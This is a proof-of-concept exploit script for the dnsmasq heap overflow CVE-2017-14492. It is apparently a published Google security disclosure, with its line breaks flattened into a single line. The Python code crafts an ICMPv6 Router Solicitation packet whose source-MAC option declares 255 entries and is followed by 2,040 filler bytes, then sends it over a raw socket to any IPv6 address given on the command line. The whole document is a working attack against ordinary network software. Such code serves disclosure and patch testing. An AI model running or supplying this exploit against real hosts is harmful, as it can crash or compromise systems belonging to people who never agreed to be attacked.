Dnsmasq Heap based overflow(CVE-2017-14492)

#!/usr/bin/env python # # Copyright 2017 Google Inc # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # Authors: # Fermin J. Serna <fjserna@google.com> # Felix Wilhelm <fwilhelm@google.com> # Gabriel Campana <gbrl@google.com> # Kevin Hamacher <hamacher@google.com> # Gynvael Coldwind <gynvael@google.com> # Ron Bowes - Xoogler :/ from struct import pack import socket import sys ND_ROUTER_SOLICIT = 133 ICMP6_OPT_SOURCE_MAC = 1 def u8(x): return pack("B", x) def send_packet(data, host): print("[+] sending {} bytes to {}".format(len(data), host)) s = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_ICMPV6) s.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, len(data)) if s.sendto(data, (host, 0)) != len(data): print("[!] Could not send (full) payload") s.close() if __name__ == '__main__': assert len(sys.argv) == 2, "Run via {} <IPv6>".format(sys.argv[0]) host, = sys.argv[1:] pkg = b"".join([ u8(ND_ROUTER_SOLICIT), # type u8(0), # code b"X" * 2, # checksum b"\x00" * 4, # reserved u8(ICMP6_OPT_SOURCE_MAC), # hey there, have our mac u8(255), # Have 255 MACs! b"A" * 255 * 8, ]) send_packet(pkg, host)